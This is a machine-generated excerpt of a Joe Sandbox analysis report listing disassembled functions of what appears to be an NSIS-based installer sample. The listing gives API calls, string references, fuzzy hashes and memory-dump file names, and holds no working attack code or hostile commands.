Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$open cmd
API String ID: 3103080414-1465111519
Opcode ID: 109bfc3f4ae54697b435cbc64e06ea45ef072446bfa87c0e9d4d0ff38833786b
Instruction ID: 9740ae806e86bdd9a5d1823962a5ed5927fd13c96e858ba55e5d087808badbab
Opcode Fuzzy Hash: 109bfc3f4ae54697b435cbc64e06ea45ef072446bfa87c0e9d4d0ff38833786b
Instruction Fuzzy Hash: EE6193B1900209FFDB10AF60DD85E6A7B69FB84314F00853AFA05B62D1D7789D51CF98

Function 00406188 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406323,?,?), ref: 004061C3
GetShortPathNameW.KERNEL32(?,00426DE8,00000400), ref: 004061CC

Part of subcall function 00405F97: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA7
Part of subcall function 00405F97: lstrlenA.KERNEL32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD9

GetShortPathNameW.KERNEL32(?,004275E8,00000400), ref: 004061E9
wsprintfA.USER32 ref: 00406207
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406242
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406251
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406289
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 004062DF
GlobalFree.KERNEL32(00000000), ref: 004062F0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062F7

Part of subcall function 00406032: GetFileAttributesW.KERNELBASE(00000003,004030AB,00438800,80000000,00000003), ref: 00406036
Part of subcall function 00406032: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

Strings

%ls=%ls, xrefs: 004061FD
uB, xrefs: 004061E5
[Rename], xrefs: 00406271, 00406283
uB, xrefs: 004061DE
mB, xrefs: 004061B1

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 1370db5916d635a3eaa8287a3a8568cfa6b7ad2c16bbfcffe5a040e030d3314f
Instruction ID: 390cd084817c4cf50855a9647c10840f2cfe6cacc919d204b2e4a530669b52c0
Opcode Fuzzy Hash: 1370db5916d635a3eaa8287a3a8568cfa6b7ad2c16bbfcffe5a040e030d3314f
Instruction Fuzzy Hash: FB312231200715BBC2207B659E49F5B3A9CEF41754F16007FBA42F62C2EA3CD82586BD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: dccf31a386450978f6a467bb1a2dd48e69ee6b81a70d351153b8e89f54c6a922
Instruction ID: 0f43a076eda42f240989ba3bcaaa7122e90b548761b3bfdbbaf4c3cca9648f62
Opcode Fuzzy Hash: dccf31a386450978f6a467bb1a2dd48e69ee6b81a70d351153b8e89f54c6a922
Instruction Fuzzy Hash: CF418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7389A55DFA4

Function 00406579 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(open cmd,00000400), ref: 004066BA
GetWindowsDirectoryW.KERNEL32(open cmd,00000400,00000000,00422728,?,004055DB,00422728,00000000), ref: 004066CD
SHGetSpecialFolderLocation.SHELL32(004055DB,00000000,00000000,00422728,?,004055DB,00422728,00000000), ref: 00406709
SHGetPathFromIDListW.SHELL32(00000000,open cmd), ref: 00406717
CoTaskMemFree.OLE32(00000000), ref: 00406722
lstrcatW.KERNEL32(open cmd,\Microsoft\Internet Explorer\Quick Launch), ref: 00406748
lstrlenW.KERNEL32(open cmd,00000000,00422728,?,004055DB,00422728,00000000), ref: 004067A0

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040668A
open cmd, xrefs: 004065A3, 0040667E, 00406685, 00406689, 004066A3, 004066A4, 004066B9, 004066CC, 004066E8, 00406713, 00406747, 0040674D, 00406769, 0040677C, 00406799, 0040679F, 004067AB, 004067DE
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406742

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$open cmd
API String ID: 717251189-4218211737
Opcode ID: 461394275e41b2543b5fd82fcf6b9832f1e7dc77c54885fbf13ec40e6163d1f3
Instruction ID: 6f5f2b99d90c7511299ba9a64344c15edde84ad84532d0df03b232db96096e81
Opcode Fuzzy Hash: 461394275e41b2543b5fd82fcf6b9832f1e7dc77c54885fbf13ec40e6163d1f3
Instruction Fuzzy Hash: BA613671601111ABDF209F14DD80AAE37A5AF10718F52403FE943B72D0DB3E5AA6CB5D

Function 004055A4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
lstrlenW.KERNEL32(00403040,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
lstrcatW.KERNEL32(00422728,00403040), ref: 004055FF
SetWindowTextW.USER32(00422728,00422728), ref: 00405611
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Strings

('B, xrefs: 004055C5

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: ('B
API String ID: 2531174081-2332581011
Opcode ID: 8d4ec48a8783ac7c02cf808f938a66a70b9f0af433ef19620f9c759a8ff7b601
Instruction ID: cea8892cb4e31635aa5f40387e4ea582d2b984c796fabda61e5f1d3d18a4122e
Opcode Fuzzy Hash: 8d4ec48a8783ac7c02cf808f938a66a70b9f0af433ef19620f9c759a8ff7b601
Instruction Fuzzy Hash: E6218E71900518BACB119F65DD44ECFBFB9EF45360F54443AF904B62A0C77A4A508FA8

Function 004044F9 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404516
GetSysColor.USER32(00000000), ref: 00404554
SetTextColor.GDI32(?,00000000), ref: 00404560
SetBkMode.GDI32(?,?), ref: 0040456C
GetSysColor.USER32(?), ref: 0040457F
SetBkColor.GDI32(?,?), ref: 0040458F
DeleteObject.GDI32(?), ref: 004045A9
CreateBrushIndirect.GDI32(?), ref: 004045B3

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction ID: b56a63bd10d9b88d704488fa4fc448251793e5de010e462820c933ca6d0d38e3
Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction Fuzzy Hash: F52167B1500B04AFCB31DF68DD48A577BF8AF41714B048A2EEA96A26E1D734D904CF58

Function 004026E4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402750
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 0040278B
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027AE
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027C4

Part of subcall function 00406113: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406129

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402870

Strings

9, xrefs: 00402733

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: ab939e13b422882215719eb4d85b304d36e2795fa3dbfbe2acce84fdb36a63bb
Instruction ID: 9e8848406421114bacb3fc7d7daa07285f06221c2759d1c737873bd090f70c65
Opcode Fuzzy Hash: ab939e13b422882215719eb4d85b304d36e2795fa3dbfbe2acce84fdb36a63bb
Instruction Fuzzy Hash: 5951F975D00219ABDF20DF95CA89AAEBB79FF04304F10817BE501B62D0E7B49D82CB58

Function 004067EB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,74DF3420,C:\Users\user\AppData\Local\Temp\,00435000,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 0040684E
CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040685D
CharNextW.USER32(?,00000000,74DF3420,C:\Users\user\AppData\Local\Temp\,00435000,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406862
CharPrevW.USER32(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,00435000,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406875

Strings

*?|<>/":, xrefs: 0040683D
C:\Users\user\AppData\Local\Temp\, xrefs: 004067EC

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4010320282
Opcode ID: ad42b7741e5e7cf852433a5ca926bf711007504176ebaeb0857ba18f273580f2
Instruction ID: fdbe35b52bffc5d77a346742aeba0a27372f18d7f8de2c65e324d6b3b11dfc69
Opcode Fuzzy Hash: ad42b7741e5e7cf852433a5ca926bf711007504176ebaeb0857ba18f273580f2
Instruction Fuzzy Hash: 8211932780261255DB303B559C44AB762E8AF94790B56C83FED8A732C0EB7C4C9286BD

Function 00402FC6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402FE1
GetTickCount.KERNEL32 ref: 00402FFF
wsprintfW.USER32 ref: 0040302D

Part of subcall function 004055A4: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(00422728,00403040), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(00422728,00422728), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

CreateDialogParamW.USER32(0000006F,00000000,00402F2B,00000000), ref: 00403051
ShowWindow.USER32(00000000,00000005), ref: 0040305F

Part of subcall function 00402FAA: MulDiv.KERNEL32(?,00000064,?), ref: 00402FBF

Strings

... %d%%, xrefs: 00403027

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: ab62b393791c357b2b7c3f13276244fc9b242bdab4121adb7888db3a09e72511
Instruction ID: a5f4734244b8f6f028ba4000c5489b7d2f6cf4b1dd98660c68856af7419d999b
Opcode Fuzzy Hash: ab62b393791c357b2b7c3f13276244fc9b242bdab4121adb7888db3a09e72511
Instruction Fuzzy Hash: 1D010470506211EBCB216F64EE0CEAA7B7CAB00B01B10047BF841F11E9DABC4545DB9E

Function 00404E4D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E68
GetMessagePos.USER32 ref: 00404E70
ScreenToClient.USER32(?,?), ref: 00404E8A
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404E9C
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EC2

Strings

f, xrefs: 00404E9E

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 8ba846b23e886e731abba7044b613a2dc07349659d22c8c6246ceab34d3a3da9
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: C0015E7190021DBADB00DBA4DD85FFEBBBCAF54711F10012BBB50B61C0D7B8AA058BA5

Function 00402F2B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402F49
wsprintfW.USER32 ref: 00402F7D
SetWindowTextW.USER32(?,?), ref: 00402F8D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402F9F

Strings

verifying installer: %d%%, xrefs: 00402F72, 00402F7B
unpacking data: %d%%, xrefs: 00402F6B

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 3624e717fbcf7ea6fd8cb3bfca044f62ca72f15282bbc00cb62a71a2cd90e3ed
Instruction ID: 618675c633d4cc4fa353176bd059bfe03840d53555a4d718e50652829a5d94b1
Opcode Fuzzy Hash: 3624e717fbcf7ea6fd8cb3bfca044f62ca72f15282bbc00cb62a71a2cd90e3ed
Instruction Fuzzy Hash: 4CF01D7050020EABDF206F60DE4ABEA3B78EB00349F00803AFA15A51D0DBBD9559DB59

Function 00402947 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 0040299B
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029B7
GlobalFree.KERNEL32(?), ref: 004029F0
GlobalFree.KERNEL32(00000000), ref: 00402A03
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402A1B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402A2F

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: d96938230be506bb3ce62f46d8dc11094feca3525b7110c1e5131bc4c1b7a030
Instruction ID: 7dc8c05146b407601171e0863837a653734e4b001a2a5e69b47689ac9694c0d9
Opcode Fuzzy Hash: d96938230be506bb3ce62f46d8dc11094feca3525b7110c1e5131bc4c1b7a030
Instruction Fuzzy Hash: 3121C171C00124BBDF216FA5DE49D9E7E79AF04364F10023AF964762E1CB794D419BA8

Function 00404D3F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE0
wsprintfW.USER32 ref: 00404DE9
SetDlgItemTextW.USER32(?,00423748), ref: 00404DFC

Strings

H7B, xrefs: 00404DD2
%u.%u%s%s, xrefs: 00404DCA

Memory Dump Source

